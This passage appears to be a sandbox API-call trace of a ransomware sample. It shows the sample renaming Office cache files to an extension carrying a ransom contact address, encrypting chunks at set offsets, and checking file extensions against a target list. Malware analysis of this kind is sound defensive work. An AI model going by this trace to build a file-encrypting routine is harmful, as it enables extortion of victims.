Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0041.173] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0041.173] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0x0) returned 1 [0041.173] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.173] ReadFile (in: hFile=0x178, lpBuffer=0x3a20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a20058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.180] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.180] ReadFile (in: hFile=0x178, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.189] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.189] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0041.189] ReadFile (in: hFile=0x178, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.426] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.426] WriteFile (in: hFile=0x178, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x300fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0041.442] SetEndOfFile (hFile=0x178) returned 1 [0041.442] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3ed0058 [0041.522] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.522] WriteFile (in: hFile=0x178, lpBuffer=0x3ed0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.524] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xcd4aa, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.524] WriteFile (in: hFile=0x178, lpBuffer=0x3ed0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.835] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x227e00, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.835] WriteFile (in: hFile=0x178, lpBuffer=0x3ed0058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.838] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3ed0058 | out: hHeap=0x520000) returned 1 [0041.838] CloseHandle (hObject=0x178) returned 1 [0042.020] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0042.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.020] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.020] lstrlenW (lpString=".doc") returned 4 [0042.020] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.020] lstrlenW (lpString=".docx") returned 5 [0042.020] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.020] lstrlenW (lpString=".pdf") returned 4 [0042.020] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.020] lstrlenW (lpString=".xls") returned 4 [0042.021] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.021] lstrlenW (lpString=".xlsx") returned 5 [0042.021] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.021] lstrlenW (lpString=".ppt") returned 4 [0042.021] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.021] lstrlenW (lpString=".zip") returned 4 [0042.021] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.021] lstrlenW (lpString=".rar") returned 4 [0042.021] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.021] lstrlenW (lpString=".bz2") returned 4 [0042.021] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.021] lstrlenW (lpString=".7z") returned 3 [0042.021] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.021] lstrlenW (lpString=".dbf") returned 4 [0042.021] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.021] lstrlenW (lpString=".1cd") returned 4 [0042.021] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.021] lstrlenW (lpString=".jpg") returned 4 [0042.021] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.021] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.021] lstrlenW (lpString=".doc") returned 4 [0042.021] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0042.021] lstrlenW (lpString=".docx") returned 5 [0042.021] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0042.021] lstrlenW (lpString=".pdf") returned 4 [0042.021] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0042.021] lstrlenW (lpString=".xls") returned 4 [0042.021] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0042.021] lstrlenW (lpString=".xlsx") returned 5 [0042.021] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0042.021] lstrlenW (lpString=".ppt") returned 4 [0042.022] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0042.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.022] lstrlenW (lpString=".zip") returned 4 [0042.022] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0042.022] lstrlenW (lpString=".rar") returned 4 [0042.022] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0042.022] lstrlenW (lpString=".bz2") returned 4 [0042.022] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0042.022] lstrlenW (lpString=".7z") returned 3 [0042.022] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0042.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.022] lstrlenW (lpString=".dbf") returned 4 [0042.022] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0042.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.022] lstrlenW (lpString=".1cd") returned 4 [0042.022] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0042.022] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi") returned 74 [0042.022] lstrlenW (lpString=".jpg") returned 4 [0042.022] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0042.022] lstrcmpiW (lpString1=".cab", lpString2=".LIVE") returned -1 [0042.022] lstrlenW (lpString="Proof.cab") returned 9 [0042.022] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.023] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=21064532) returned 1 [0042.023] CloseHandle (hObject=0x178) returned 1 [0042.023] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020 [0042.023] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0042.023] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0042.326] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0042.326] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0x0) returned 1 [0042.326] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.326] ReadFile (in: hFile=0x178, lpBuffer=0x3a20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a20058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.332] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.332] ReadFile (in: hFile=0x178, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.336] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0042.336] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0042.336] ReadFile (in: hFile=0x178, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0042.354] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.354] WriteFile (in: hFile=0x178, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x300fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0042.368] SetEndOfFile (hFile=0x178) returned 1 [0042.369] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3fa70f0 [0042.550] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.550] WriteFile (in: hFile=0x178, lpBuffer=0x3fa70f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa70f0*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.551] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.551] WriteFile (in: hFile=0x178, lpBuffer=0x3fa70f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa70f0*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.552] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0042.552] WriteFile (in: hFile=0x178, lpBuffer=0x3fa70f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa70f0*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0042.553] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3fa70f0 | out: hHeap=0x520000) returned 1 [0042.557] CloseHandle (hObject=0x178) returned 1 [0045.368] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0045.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.369] lstrlenW (lpString=".doc") returned 4 [0045.369] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.369] lstrlenW (lpString=".docx") returned 5 [0045.369] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0045.369] lstrlenW (lpString=".pdf") returned 4 [0045.369] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.369] lstrlenW (lpString=".xls") returned 4 [0045.369] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.369] lstrlenW (lpString=".xlsx") returned 5 [0045.369] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0045.369] lstrlenW (lpString=".ppt") returned 4 [0045.369] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.369] lstrlenW (lpString=".zip") returned 4 [0045.369] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.369] lstrlenW (lpString=".rar") returned 4 [0045.369] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.369] lstrlenW (lpString=".bz2") returned 4 [0045.369] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.369] lstrlenW (lpString=".7z") returned 3 [0045.369] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.369] lstrlenW (lpString=".dbf") returned 4 [0045.369] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.369] lstrlenW (lpString=".1cd") returned 4 [0045.369] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.369] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.369] lstrlenW (lpString=".jpg") returned 4 [0045.369] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.370] lstrlenW (lpString=".doc") returned 4 [0045.370] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0045.370] lstrlenW (lpString=".docx") returned 5 [0045.370] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0045.370] lstrlenW (lpString=".pdf") returned 4 [0045.370] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0045.370] lstrlenW (lpString=".xls") returned 4 [0045.370] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0045.370] lstrlenW (lpString=".xlsx") returned 5 [0045.370] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0045.370] lstrlenW (lpString=".ppt") returned 4 [0045.370] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0045.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.370] lstrlenW (lpString=".zip") returned 4 [0045.370] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0045.370] lstrlenW (lpString=".rar") returned 4 [0045.370] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0045.370] lstrlenW (lpString=".bz2") returned 4 [0045.370] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0045.370] lstrlenW (lpString=".7z") returned 3 [0045.370] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0045.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.370] lstrlenW (lpString=".dbf") returned 4 [0045.370] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0045.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.370] lstrlenW (lpString=".1cd") returned 4 [0045.370] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0045.370] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0045.370] lstrlenW (lpString=".jpg") returned 4 [0045.370] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0045.371] lstrcmpiW (lpString1=".cab", lpString2=".LIVE") returned -1 [0045.371] lstrlenW (lpString="GrooveLR.cab") returned 12 [0045.371] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0045.371] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=4095519) returned 1 [0045.371] CloseHandle (hObject=0x178) returned 1 [0045.375] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab")) returned 0x2020 [0045.375] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0045.375] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0045.375] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\groovelr.cab.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0045.375] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.376] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.376] ReadFile (in: hFile=0x178, lpBuffer=0x3a20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a20058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.380] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.380] ReadFile (in: hFile=0x178, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.384] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.384] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.384] ReadFile (in: hFile=0x178, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.399] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.399] WriteFile (in: hFile=0x178, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x300fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0045.661] SetEndOfFile (hFile=0x178) returned 1 [0045.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3fa70f0 [0045.667] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.667] WriteFile (in: hFile=0x178, lpBuffer=0x3fa70f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa70f0*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.669] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.669] WriteFile (in: hFile=0x178, lpBuffer=0x3fa70f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa70f0*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.671] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.671] WriteFile (in: hFile=0x178, lpBuffer=0x3fa70f0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa70f0*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.673] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3fa70f0 | out: hHeap=0x520000) returned 1 [0045.673] CloseHandle (hObject=0x178) returned 1 [0046.549] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 